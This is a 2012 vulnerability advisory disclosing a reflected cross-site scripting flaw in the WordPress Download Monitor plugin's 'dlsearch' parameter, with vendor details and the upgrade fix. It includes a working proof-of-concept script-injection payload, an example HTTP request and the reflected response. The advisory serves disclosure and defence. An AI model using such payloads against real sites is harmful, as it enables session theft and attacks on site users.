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Wordpress Download Monitor 3.3.5.7 Cross-Site Scripting

Summary

Wordpress Download Monitor 3.3.5.7 is subject to a cross-site scripting vulnerability. The 'dlsearch' parameter is not sufficiently sanitised before being written to pages including the '[download_page]' shortcode. An attacker could distribute a malicious URL as part of a phishing campaign. Users following the link would trigger this vulnerability which could potentially steal session cookies, redirect the user to a malicious URL or download malware onto their machine.

  • CVE number: CVE-2012-4768
  • Impact: Medium
  • Vendor homepage: http://mikejolley.com/
  • Vendor notified: 30/08/2012
  • Vendor fixed: 30/08/2012
  • Credit: Chris Cooper and Joseph Sheridan of Reaction Information Security

About ReactionIS

Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality security testing services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.

Affected Products

Confirmed in Wordpress Download Monitor 3.3.5.7. Versions prior to 3.3.5.9 may also be affected.

Details

The 'dlsearch' parameter, written to any page/post including the '[download_page]' shortcode, was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript code into the parameter which is passed into the page content without sanitisation. Injecting the following Javascript code will trigger the vulnerability, causing the page to return a Javascript alert box:

"><script>alert('xsstest')</script>

---
Example Request:
+---------------

GET /wp/?dlsearch="><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6


---
Example Response:
+----------------

--- SNIP ---
<form id="download-page-search" action="" method="post">
<p><label for="dlsearch">Search Downloads:</label> <input type="text" name=
"dlsearch" id="dlsearch" value=""><script>alert('xsstest')

</script>" /><input class="search_submit" type="submit" value="Go" /><input
type="hidden" name="page_id" value="2"

/></p></form><h3>Results found for <em>""><script>alert
('xsstest')</script>"</em> <small><a

href="http://192.168.0.6/wp/">« Downloads</a></small></h3>
--- SNIP ---

Impact

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.

Solution

Upgrade to WordPress Download Monitor 3.3.5.9

Distribution

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

  • bugtraq () securityfocus com
  • full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.

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